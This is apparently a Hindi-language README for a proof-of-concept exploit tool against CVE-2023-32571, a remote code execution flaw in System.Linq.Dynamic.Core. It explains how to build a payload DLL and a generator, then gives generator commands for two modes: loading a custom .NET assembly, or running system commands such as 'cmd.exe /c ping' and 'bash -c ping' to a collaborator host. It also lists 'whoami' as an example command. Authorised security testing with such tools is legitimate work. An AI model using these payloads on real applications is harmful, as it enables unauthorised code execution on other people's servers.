🐞 CVE-2023-32571 - System.Linq.Dynamic.Core रिमोट कोड निष्पादन

CVE-2023-32571 के लिए प्रूफ ऑफ कॉन्सेप्ट, जो System.Linq.Dynamic.Core (1.0.7.10 से 1.2.25) में एक रिमोट कोड निष्पादन भेद्यता है। यह भेद्यता हमलावरों को मनमाना कोड और कमांड निष्पादित करने की अनुमति देती है जब Where, Select, OrderBy सहित विधियों में अविश्वसनीय इनपुट पार्स किया जाता है।

⚠️ अस्वीकरण

यह टूल केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए प्रदान किया गया है। पूर्व पारस्परिक सहमति के बिना लक्ष्यों पर हमला करने के लिए इस टूल का उपयोग अवैध है। डेवलपर्स कोई दायित्व नहीं लेते हैं और इस प्रोग्राम के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।

🎯 पूर्वापेक्षाएँ

• .NET 9.0 SDK या बाद का संस्करण
• System.Linq.Dynamic.Core के भेद्य संस्करण (1.0.7.10 से 1.2.25) का उपयोग करने वाला लक्ष्य अनुप्रयोग
• कॉलबैक देखने के लिए एक कोलैबोरेटर सर्वर (जैसे, Burp Collaborator, Interactsh)

🛠️ प्रोजेक्ट बनाना

1. प्रोजेक्ट बनाएं:
   root@kitploit:~

   dotnet build --configuration Release
   

   बिल्ड निम्न उत्पन्न करेगा
   • Payload/bin/Release/netstandard2.0/Payload.dll पर पेलोड DLL
   • Generator/bin/Release/net9.0/Generator.dll पर पेलोड जनरेटर

🚀 उपयोग

मोड

यह टूल दो मोड का समर्थन करता है:

1. AssemblyLoad (मोड 0): कस्टम .NET असेंबली लोड और निष्पादित करें
2. ProcessStart (मोड 1): Process.Start के माध्यम से सीधे सिस्टम कमांड निष्पादित करें

मोड 0: AssemblyLoad (डिफ़ॉल्ट)

# Using Base64 encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 1

# Using Hex encoding
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 0

# Using Base64 encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 1

# Using Hex encoding
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 0

मोड 1: ProcessStart (प्रत्यक्ष कमांड निष्पादन)

# Windows command execution
./Generator --mode 1 --parameters "cmd.exe /c ping <your-collaborator-url>"

# Linux command execution  
./Generator --mode 1 --parameters "bash -c ping <your-collaborator-url>"

⚙️ पैरामीटर

• --mode: शोषण मोड (0=AssemblyLoad, 1=ProcessStart)
• --file: लोड करने के लिए .NET असेंबली का पथ (AssemblyLoad मोड के लिए आवश्यक)
• --type: इंस्टैंशिएट करने के लिए पूर्ण योग्य प्रकार का नाम (AssemblyLoad मोड के लिए आवश्यक)
• --parameters: मोड के आधार पर पैरामीटर:
  • AssemblyLoad: कंस्ट्रक्टर पैरामीटर (अल्पविराम से अलग)
  • ProcessStart: निष्पादित करने के लिए कमांड (जैसे, 'cmd.exe /c whoami' या 'bash -c whoami')
• --encoding: AssemblyLoad मोड के लिए एन्कोडिंग विधि (0=Hex, 1=Base64)

📚 संदर्भ

• NIST NVD
• NCCGROUP सलाह
• System.Linq.Dynamic.Core GitHub रिपॉजिटरी